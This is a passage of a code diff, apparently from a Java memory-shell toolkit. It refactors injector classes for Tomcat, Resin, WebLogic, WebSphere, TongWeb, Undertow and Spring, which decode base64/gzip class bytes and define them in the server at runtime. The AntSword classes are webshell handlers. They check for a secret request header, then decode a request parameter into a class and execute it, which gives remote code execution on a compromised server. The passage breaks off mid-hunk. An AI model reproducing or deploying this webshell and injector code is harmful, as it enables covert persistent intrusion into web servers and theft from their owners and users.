Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -128,19 +128,18 @@ public class ResinListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -138,19 +138,18 @@ public class ResinServletInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -146,21 +146,16 @@ public class SpringWebFluxHandlerFunctionInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
while (clazz != Object.class) { while (clazz != Object.class) {
try { try {
field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
break; field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (field == null) { throw new NoSuchFieldException();
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
} }
} }
@@ -138,21 +138,16 @@ public class SpringWebFluxHandlerMethodInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
while (clazz != Object.class) { while (clazz != Object.class) {
try { try {
field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
break; field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (field == null) { throw new NoSuchFieldException();
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
} }
} }
@@ -111,21 +111,16 @@ public class SpringWebFluxWebFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
while (clazz != Object.class) { while (clazz != Object.class) {
try { try {
field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
break; field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (field == null) { throw new NoSuchFieldException();
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
} }
} }
@@ -157,46 +157,4 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
return index; return index;
} }
} }
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
} }
@@ -163,21 +163,16 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
} }
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
try { try {
decoderClass = Class.forName("java.util.Base64"); decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null); Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) { } catch (Exception ignored) {
try { decoderClass = Class.forName("sun.misc.BASE64Decoder");
decoderClass = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
} }
} }
@@ -213,8 +208,8 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
return; return;
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
@@ -164,19 +164,15 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
try { try {
decoderClass = Class.forName("java.util.Base64"); decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null); Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) { } catch (Exception ignored) {
try { decoderClass = Class.forName("sun.misc.BASE64Decoder");
decoderClass = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
} }
} }
@@ -212,8 +208,8 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
return; return;
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
@@ -201,18 +201,17 @@ public class TomcatFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
} }
@@ -190,19 +190,18 @@ public class TomcatWebSocketInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
} }
@@ -166,19 +166,15 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
try { try {
decoderClass = Class.forName("java.util.Base64"); decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null); Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) { } catch (Exception ignored) {
try { decoderClass = Class.forName("sun.misc.BASE64Decoder");
decoderClass = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
} }
} }
@@ -214,8 +210,8 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
return; return;
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
@@ -174,19 +174,15 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
try { try {
decoderClass = Class.forName("java.util.Base64"); decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null); Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) { } catch (Exception ignored) {
try { decoderClass = Class.forName("sun.misc.BASE64Decoder");
decoderClass = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
} }
} }
@@ -222,8 +218,8 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
return; return;
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
@@ -195,18 +195,17 @@ public class TongWebFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
} }
@@ -144,19 +144,18 @@ public class UndertowListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -164,19 +164,15 @@ public class UndertowServletHandlerAgentInjector implements ClassFileTransformer
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
try { try {
decoderClass = Class.forName("java.util.Base64"); decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null); Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) { } catch (Exception ignored) {
try { decoderClass = Class.forName("sun.misc.BASE64Decoder");
decoderClass = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
} }
} }
@@ -212,8 +208,8 @@ public class UndertowServletHandlerAgentInjector implements ClassFileTransformer
return; return;
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
@@ -245,18 +245,17 @@ public class WebLogicFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
} }
@@ -227,18 +227,17 @@ public class WebLogicListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
} }
@@ -214,19 +214,15 @@ public class WebLogicServletContextAgentInjector implements ClassFileTransformer
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
try { try {
decoderClass = Class.forName("java.util.Base64"); decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null); Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) { } catch (Exception ignored) {
try { decoderClass = Class.forName("sun.misc.BASE64Decoder");
decoderClass = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
} }
} }
@@ -262,8 +258,8 @@ public class WebLogicServletContextAgentInjector implements ClassFileTransformer
return; return;
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
@@ -231,16 +231,17 @@ public class WebLogicServletInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); clazz != Object.class; clazz = clazz.getSuperclass()) { Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
} }
@@ -164,19 +164,15 @@ public class WebSphereFilterChainAgentInjector implements ClassFileTransformer {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) { public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass; Class<?> decoderClass;
try { try {
decoderClass = Class.forName("java.util.Base64"); decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null); Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) { } catch (Exception ignored) {
try { decoderClass = Class.forName("sun.misc.BASE64Decoder");
decoderClass = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
} }
} }
@@ -212,8 +208,8 @@ public class WebSphereFilterChainAgentInjector implements ClassFileTransformer {
return; return;
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
@@ -137,19 +137,18 @@ public class WebSphereServletInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -21,14 +21,14 @@ public class AntSword extends ClassLoader {
@Override @Override
public boolean equals(Object obj) { public boolean equals(Object obj) {
Object[] args = ((Object[]) obj); Object[] args = ((Object[]) obj);
Object request = unwrapRequest(args[0]); Object request = unwrap(args[0], "request");
Object response = unwrapResponse(args[1]); Object response = unwrap(args[1], "response");
try { try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) { if (value != null && value.contains(headerValue)) {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] bytes = base64Decode(parameter); byte[] bytes = base64Decode(parameter);
Object instance = (new AntSword(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = (new AntSword(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(new Object[]{request, response}); instance.equals(new Object[]{request, response});
return true; return true;
} }
@@ -38,79 +38,38 @@ public class AntSword extends ClassLoader {
return false; return false;
} }
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return defineClass(b, 0, b.length);
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
try { try {
base64 = contextClassLoader.loadClass("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = contextClassLoader.loadClass("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
return value;
}
@SuppressWarnings("all")
public Object unwrapRequest(Object request) {
Object internalRequest = request;
while (true) {
try {
Object r = getFieldValue(request, "request");
if (r == internalRequest) {
return r;
} else {
internalRequest = r;
}
} catch (Exception e) {
return internalRequest;
}
} }
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public Object unwrapResponse(Object response) { public Object unwrap(Object obj, String fieldName) {
Object internalResponse = response; try {
while (true) { return getFieldValue(obj, fieldName);
try { } catch (Throwable e) {
Object r = getFieldValue(response, "response"); return obj;
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
} }
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
while (clazz != Object.class) { while (clazz != Object.class) {
try { try {
field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
break; field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (field == null) { throw new NoSuchFieldException();
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
} }
} }
@@ -26,7 +26,7 @@ public class AntSwordControllerHandler extends ClassLoader implements Controller
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
try { try {
byte[] bytes = base64Decode(request.getParameter(pass)); byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordControllerHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); Object instance = (new AntSwordControllerHandler(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(new Object[]{request, response}); instance.equals(new Object[]{request, response});
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -35,24 +35,14 @@ public class AntSwordControllerHandler extends ClassLoader implements Controller
return null; return null;
} }
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return defineClass(b, 0, b.length);
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
} }
@@ -30,7 +30,7 @@ public class AntSwordFilter extends ClassLoader implements Filter {
if (request.getHeader(this.headerName) != null if (request.getHeader(this.headerName) != null
&& request.getHeader(this.headerName).contains(this.headerValue)) { && request.getHeader(this.headerName).contains(this.headerValue)) {
